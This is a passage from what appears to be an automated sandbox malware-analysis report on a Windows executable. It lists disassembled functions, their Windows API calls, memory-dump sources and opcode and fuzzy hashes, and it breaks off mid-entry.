                                                                                                                                                                    • Instruction ID: bb4095ac7e3dca64927f7a77999a48b1cd1fe61569ae5f8173230fb54294c143
                                                                                                                                                                    • Opcode Fuzzy Hash: d43b1e29ab31128e26cd6a21622dab8a33894e68f4ecd2d57683f31805451008
                                                                                                                                                                    • Instruction Fuzzy Hash: D3310463A1878196E770AB28E4053A8A660BB667BCF804334DFAC076C9DFFC95458760
                                                                                                                                                                    Function 00007FF7B1DD3630 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • SetFileAttributesW.KERNELBASE(?,00007FF7B1DD341E,?,00007FF7B1DD2FD7), ref: 00007FF7B1DD365F
                                                                                                                                                                    • SetFileAttributesW.KERNEL32(?,00007FF7B1DD341E,?,00007FF7B1DD2FD7), ref: 00007FF7B1DD368C
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000003.00000002.1858592332.00007FF7B1DD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7B1DD0000, based on PE: true
                                                                                                                                                                    • Associated: 00000003.00000002.1858574857.00007FF7B1DD0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858629311.00007FF7B1DFE000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E0E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E15000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E44000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858717562.00007FF7B1E45000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_3_2_7ff7b1dd0000_KNVYINNN.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: AttributesFile
                                                                                                                                                                    • String ID: |%}
                                                                                                                                                                    • API String ID: 3188754299-1550162156
                                                                                                                                                                    • Opcode ID: 9ac7e175c0942fe284a68d5b65266f3a3ce0d3d2487ddc929247c28465f532d2
                                                                                                                                                                    • Instruction ID: bf27acef795968bda7c038615b9b123baeb30400dd30447039b133fb8514d165
                                                                                                                                                                    • Opcode Fuzzy Hash: 9ac7e175c0942fe284a68d5b65266f3a3ce0d3d2487ddc929247c28465f532d2
                                                                                                                                                                    • Instruction Fuzzy Hash: 7C01AC3271869141F760AB15A804299A394FB597C8FD48135EECC8375CDF7CD641CB10
                                                                                                                                                                    Function 00007FF7B1DD309C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 32fileCOMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000003.00000002.1858592332.00007FF7B1DD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7B1DD0000, based on PE: true
                                                                                                                                                                    • Associated: 00000003.00000002.1858574857.00007FF7B1DD0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858629311.00007FF7B1DFE000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E0E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E15000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E44000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858717562.00007FF7B1E45000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_3_2_7ff7b1dd0000_KNVYINNN.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: DeleteFile
                                                                                                                                                                    • String ID: |%}
                                                                                                                                                                    • API String ID: 4033686569-1550162156
                                                                                                                                                                    • Opcode ID: fb9b87eef724f5280d9c66c8a960b1d881a397dafe3be406edda2d5b6c3767c8
                                                                                                                                                                    • Instruction ID: fd36e230a7f8021ee3c8eb497a89c5306f985d19364de4913491fa159223321b
                                                                                                                                                                    • Opcode Fuzzy Hash: fb9b87eef724f5280d9c66c8a960b1d881a397dafe3be406edda2d5b6c3767c8
                                                                                                                                                                    • Instruction Fuzzy Hash: 8AF0A422B1868241FB64AB29E8113B9A354BF567CCFC44035EACC4365DDFACD2958A10
                                                                                                                                                                    Function 00007FF7B1DD3134 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • GetFileAttributesW.KERNELBASE(?,00007FF7B1DD33E2,00000001,00000001,?,00007FF7B1DD2FD7), ref: 00007FF7B1DD315C
                                                                                                                                                                    • GetFileAttributesW.KERNEL32(?,00007FF7B1DD33E2,00000001,00000001,?,00007FF7B1DD2FD7), ref: 00007FF7B1DD3185
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000003.00000002.1858592332.00007FF7B1DD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7B1DD0000, based on PE: true
                                                                                                                                                                    • Associated: 00000003.00000002.1858574857.00007FF7B1DD0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858629311.00007FF7B1DFE000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E0E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E15000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E44000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858717562.00007FF7B1E45000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_3_2_7ff7b1dd0000_KNVYINNN.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: AttributesFile
                                                                                                                                                                    • String ID: |%}
                                                                                                                                                                    • API String ID: 3188754299-1550162156
                                                                                                                                                                    • Opcode ID: 69778bcd8d88ff80b7e8675e7032625dbd32ff16c37f4ca61923bae535d7551d
                                                                                                                                                                    • Instruction ID: c06d0b3492956fe1728b797e872f198eb570fc26e8c7daf547cc6c74dd7ac32d
                                                                                                                                                                    • Opcode Fuzzy Hash: 69778bcd8d88ff80b7e8675e7032625dbd32ff16c37f4ca61923bae535d7551d
                                                                                                                                                                    • Instruction Fuzzy Hash: 5EF0A921B0878151EB64AB28E8453A9A350AB5E7D8FC00235EB9C8379DDFACD6848610
                                                                                                                                                                    Function 00007FF7B1DD8438 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 28libraryCOMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000003.00000002.1858592332.00007FF7B1DD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7B1DD0000, based on PE: true
                                                                                                                                                                    • Associated: 00000003.00000002.1858574857.00007FF7B1DD0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858629311.00007FF7B1DFE000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E0E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E15000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E44000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858717562.00007FF7B1E45000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_3_2_7ff7b1dd0000_KNVYINNN.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: DirectoryLibraryLoadSystem
                                                                                                                                                                    • String ID: |%}
                                                                                                                                                                    • API String ID: 1175261203-1550162156
                                                                                                                                                                    • Opcode ID: 94b6ca22df3143385c2646d0182ab26cc17e09715b19d9ecf0578cc894803833
                                                                                                                                                                    • Instruction ID: fb20ae8901ddef590fab11b6c809851a35675fa21aeefcffb9befdc7fa3e0371
                                                                                                                                                                    • Opcode Fuzzy Hash: 94b6ca22df3143385c2646d0182ab26cc17e09715b19d9ecf0578cc894803833
                                                                                                                                                                    • Instruction Fuzzy Hash: 1EF06862B1858141FB64A715EC153E9A354BF6D788FC04135EACD8265DDE6CD244CB60
                                                                                                                                                                    Function 00007FF7B1DE47F0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 26comCOMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000003.00000002.1858592332.00007FF7B1DD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7B1DD0000, based on PE: true
                                                                                                                                                                    • Associated: 00000003.00000002.1858574857.00007FF7B1DD0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858629311.00007FF7B1DFE000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E0E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E15000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E44000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858717562.00007FF7B1E45000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_3_2_7ff7b1dd0000_KNVYINNN.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: DirectoryInitializeMallocSystem
                                                                                                                                                                    • String ID: riched20.dll
                                                                                                                                                                    • API String ID: 174490985-3360196438
                                                                                                                                                                    • Opcode ID: bc5246eb8dd6ab9301cace64ef6affdbbb21ff895cebe7433d7509b66aac4d58
                                                                                                                                                                    • Instruction ID: 02fa4cdff372020a8c0ccffd46b057bf31102c63775eaf9803c21992087e13c7
                                                                                                                                                                    • Opcode Fuzzy Hash: bc5246eb8dd6ab9301cace64ef6affdbbb21ff895cebe7433d7509b66aac4d58
                                                                                                                                                                    • Instruction Fuzzy Hash: 53F0A432618A4182EB00AF64F41416EF3A0FB95359FC00135D68D4275CDFBCD148CB10
                                                                                                                                                                    Function 00007FF7B1DD2ADC Relevance: 4.6, APIs: 3, Instructions: 100fileCOMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000003.00000002.1858592332.00007FF7B1DD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7B1DD0000, based on PE: true
                                                                                                                                                                    • Associated: 00000003.00000002.1858574857.00007FF7B1DD0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858629311.00007FF7B1DFE000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E0E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E15000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E44000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858717562.00007FF7B1E45000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_3_2_7ff7b1dd0000_KNVYINNN.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: FileWrite$Handle
                                                                                                                                                                    • String ID:
                                                                                                                                                                    • API String ID: 4209713984-0
                                                                                                                                                                    • Opcode ID: 0b1292ab1d1f56d60271f305ce80e77c3a12fac15b79dcade4e7281f13876e83
                                                                                                                                                                    • Instruction ID: 8c70545910637ca9b724973f117251d47b7fe4c305079f15f14409b7b45abf97
                                                                                                                                                                    • Opcode Fuzzy Hash: 0b1292ab1d1f56d60271f305ce80e77c3a12fac15b79dcade4e7281f13876e83
                                                                                                                                                                    • Instruction Fuzzy Hash: D641E426A0CA52A2EB15EF1CE504379A3A0FB66B8CF954135DB0D07A9CCFBCE545C720
                                                                                                                                                                    Function 00007FF7B1DF3030 Relevance: 4.5, APIs: 3, Instructions: 19COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000003.00000002.1858592332.00007FF7B1DD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7B1DD0000, based on PE: true
                                                                                                                                                                    • Associated: 00000003.00000002.1858574857.00007FF7B1DD0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858629311.00007FF7B1DFE000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E0E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E15000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E44000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858717562.00007FF7B1E45000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_3_2_7ff7b1dd0000_KNVYINNN.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: Process$CurrentExitTerminate
                                                                                                                                                                    • String ID:
                                                                                                                                                                    • API String ID: 1703294689-0
                                                                                                                                                                    • Opcode ID: cebc4a56e9a54c3c143052a963639bf107cf1e8dac032d8b1b4e473ee6584d8c
                                                                                                                                                                    • Instruction ID: f0ee97823cb6d3cb0b4c5207cbaec9fae540da384548e794e1041a6b51394ae9
                                                                                                                                                                    • Opcode Fuzzy Hash: cebc4a56e9a54c3c143052a963639bf107cf1e8dac032d8b1b4e473ee6584d8c
                                                                                                                                                                    • Instruction Fuzzy Hash: B6E04820B0435182FB047F2D58453B563526F66749F45543DCB0E0335ECDBDE6088320
                                                                                                                                                                    Function 00007FF7B1DF68BC Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 56COMMONLIBRARYCODE
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000003.00000002.1858592332.00007FF7B1DD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7B1DD0000, based on PE: true
                                                                                                                                                                    • Associated: 00000003.00000002.1858574857.00007FF7B1DD0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858629311.00007FF7B1DFE000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E0E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E15000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E44000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858717562.00007FF7B1E45000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_3_2_7ff7b1dd0000_KNVYINNN.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: String
                                                                                                                                                                    • String ID: LCMapStringEx
                                                                                                                                                                    • API String ID: 2568140703-3893581201
                                                                                                                                                                    • Opcode ID: ccc6a95e521b44420893b0bbc1ce3509cc5244f128a5fde2fc1e843eb3bf8902
                                                                                                                                                                    • Instruction ID: 6e32d1a42cced1ebe3ebe2d66f54188b92afb6013ce3dcb6bf41f9af1a5cc5e3
                                                                                                                                                                    • Opcode Fuzzy Hash: ccc6a95e521b44420893b0bbc1ce3509cc5244f128a5fde2fc1e843eb3bf8902
                                                                                                                                                                    • Instruction Fuzzy Hash: F7213C36A08B8586DB20DB1AB4401AAF7A5FBD9B84F44413AEF8D43B1CDF7CD5458B04
                                                                                                                                                                    Function 00007FF7B1DD93F0 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 35COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                      • Part of subcall function 00007FF7B1DD6118: LoadStringW.USER32 ref: 00007FF7B1DD619F
                                                                                                                                                                      • Part of subcall function 00007FF7B1DD6118: LoadStringW.USER32 ref: 00007FF7B1DD61B8
                                                                                                                                                                    • swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF7B1DE84D1
                                                                                                                                                                      • Part of subcall function 00007FF7B1DE7858: GetDlgItem.USER32 ref: 00007FF7B1DE7897
                                                                                                                                                                      • Part of subcall function 00007FF7B1DE7858: ShowWindow.USER32 ref: 00007FF7B1DE78BD
                                                                                                                                                                      • Part of subcall function 00007FF7B1DE7858: SendMessageW.USER32 ref: 00007FF7B1DE78D2
                                                                                                                                                                      • Part of subcall function 00007FF7B1DE7858: SendMessageW.USER32 ref: 00007FF7B1DE78EA
                                                                                                                                                                      • Part of subcall function 00007FF7B1DE7858: SendMessageW.USER32 ref: 00007FF7B1DE790B
                                                                                                                                                                      • Part of subcall function 00007FF7B1DE7858: SendMessageW.USER32 ref: 00007FF7B1DE7927
                                                                                                                                                                      • Part of subcall function 00007FF7B1DE7858: SendMessageW.USER32 ref: 00007FF7B1DE796A
                                                                                                                                                                      • Part of subcall function 00007FF7B1DE7858: SendMessageW.USER32 ref: 00007FF7B1DE797E
                                                                                                                                                                      • Part of subcall function 00007FF7B1DE7858: SendMessageW.USER32 ref: 00007FF7B1DE7992
                                                                                                                                                                      • Part of subcall function 00007FF7B1DE7858: SendMessageW.USER32 ref: 00007FF7B1DE79BC
                                                                                                                                                                      • Part of subcall function 00007FF7B1DE7858: SendMessageW.USER32 ref: 00007FF7B1DE79D4
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000003.00000002.1858592332.00007FF7B1DD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7B1DD0000, based on PE: true
                                                                                                                                                                    • Associated: 00000003.00000002.1858574857.00007FF7B1DD0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858629311.00007FF7B1DFE000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E0E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E15000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E44000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858717562.00007FF7B1E45000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_3_2_7ff7b1dd0000_KNVYINNN.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: MessageSend$LoadString$ItemShowWindowswprintf
                                                                                                                                                                    • String ID: |%}
                                                                                                                                                                    • API String ID: 3230410503-1550162156
                                                                                                                                                                    • Opcode ID: 22b3e8f01721ea17413595b621defc862c7649edc7045cded7403a795ba48c30
                                                                                                                                                                    • Instruction ID: 152f1bfa466d564eaa0729e35a42ab6ceaa73cd6096302d31075b55c80c38a2d
                                                                                                                                                                    • Opcode Fuzzy Hash: 22b3e8f01721ea17413595b621defc862c7649edc7045cded7403a795ba48c30
                                                                                                                                                                    • Instruction Fuzzy Hash: BE016262A0868545FF287728E4523EAA390EB9A7CCFC04135EB5D4779BDD6CD1448750
                                                                                                                                                                    Function 00007FF7B1DF6844 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 32COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • InitializeCriticalSectionAndSpinCount.KERNEL32(?,?,00000003,00007FF7B1DF59E1), ref: 00007FF7B1DF68A1
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000003.00000002.1858592332.00007FF7B1DD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7B1DD0000, based on PE: true
                                                                                                                                                                    • Associated: 00000003.00000002.1858574857.00007FF7B1DD0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858629311.00007FF7B1DFE000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E0E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E15000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E44000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858717562.00007FF7B1E45000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_3_2_7ff7b1dd0000_KNVYINNN.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: CountCriticalInitializeSectionSpin
                                                                                                                                                                    • String ID: InitializeCriticalSectionEx
                                                                                                                                                                    • API String ID: 2593887523-3084827643
                                                                                                                                                                    • Opcode ID: 4b36f3306fb8a50d2b70fa4c218aca5f62622819d7c1773298a4475074efc73e
                                                                                                                                                                    • Instruction ID: df17c7e906b52f907bd53c19ccd3237959c66a51fa17b662804acdc0af93987d
                                                                                                                                                                    • Opcode Fuzzy Hash: 4b36f3306fb8a50d2b70fa4c218aca5f62622819d7c1773298a4475074efc73e
                                                                                                                                                                    • Instruction Fuzzy Hash: 02F08125B0975181EB00EF5AB444069B761AB99B84F884439EF4D07B5DCE7CE6418724
                                                                                                                                                                    Function 00007FF7B1DF66D4 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 22memoryCOMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000003.00000002.1858592332.00007FF7B1DD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7B1DD0000, based on PE: true
                                                                                                                                                                    • Associated: 00000003.00000002.1858574857.00007FF7B1DD0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858629311.00007FF7B1DFE000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E0E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E15000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E44000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858717562.00007FF7B1E45000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_3_2_7ff7b1dd0000_KNVYINNN.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: Alloc
                                                                                                                                                                    • String ID: FlsAlloc
                                                                                                                                                                    • API String ID: 2773662609-671089009
                                                                                                                                                                    • Opcode ID: 087ad5ec1f70d1ca66680f17c5221e0fe20c07047179eecce366436ab7ec1925
                                                                                                                                                                    • Instruction ID: f695cd902b1326e8ba1c6dc8b3eb71c13d6bcd58680d5360d7dfd0f643461c21
                                                                                                                                                                    • Opcode Fuzzy Hash: 087ad5ec1f70d1ca66680f17c5221e0fe20c07047179eecce366436ab7ec1925
                                                                                                                                                                    • Instruction Fuzzy Hash: CFE0E510A09642A0EF00B759F4091B89352AF1AB8CFC40036DB0D03B6DEEBCE345C720
                                                                                                                                                                    Function 00007FF7B1DD2930 Relevance: 3.1, APIs: 2, Instructions: 76timeCOMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000003.00000002.1858592332.00007FF7B1DD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7B1DD0000, based on PE: true
                                                                                                                                                                    • Associated: 00000003.00000002.1858574857.00007FF7B1DD0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858629311.00007FF7B1DFE000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E0E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E15000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E44000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858717562.00007FF7B1E45000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_3_2_7ff7b1dd0000_KNVYINNN.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: File$BuffersFlushTime
                                                                                                                                                                    • String ID:
                                                                                                                                                                    • API String ID: 1392018926-0
                                                                                                                                                                    • Opcode ID: 3c565a1a1030715457d762e065f974c285b5cbd9a24273f0889803e53f1bca5a
                                                                                                                                                                    • Instruction ID: fee09a3fa0a382f3b5c73aa37e67f24163d9242e4f1bea0faf2608bd2bf1d4ee
                                                                                                                                                                    • Opcode Fuzzy Hash: 3c565a1a1030715457d762e065f974c285b5cbd9a24273f0889803e53f1bca5a
                                                                                                                                                                    • Instruction Fuzzy Hash: 7621B062A8D742A5FB65AA59D4007BAD790AF227DCF954031DF4C02299EEBCE586C220
                                                                                                                                                                    Function 00007FF7B1DD6118 Relevance: 3.1, APIs: 2, Instructions: 52COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000003.00000002.1858592332.00007FF7B1DD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7B1DD0000, based on PE: true
                                                                                                                                                                    • Associated: 00000003.00000002.1858574857.00007FF7B1DD0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858629311.00007FF7B1DFE000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E0E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E15000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E44000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858717562.00007FF7B1E45000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_3_2_7ff7b1dd0000_KNVYINNN.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: LoadString
                                                                                                                                                                    • String ID:
                                                                                                                                                                    • API String ID: 2948472770-0
                                                                                                                                                                    • Opcode ID: e6cc57008c55985f415ed924a97a09d3e03cc914fcebae2233bc98605e233276
                                                                                                                                                                    • Instruction ID: 9afbc120cbd130f015fa4d17e41bd1993f65433fb531a99dc1fa34c4ed04aa18
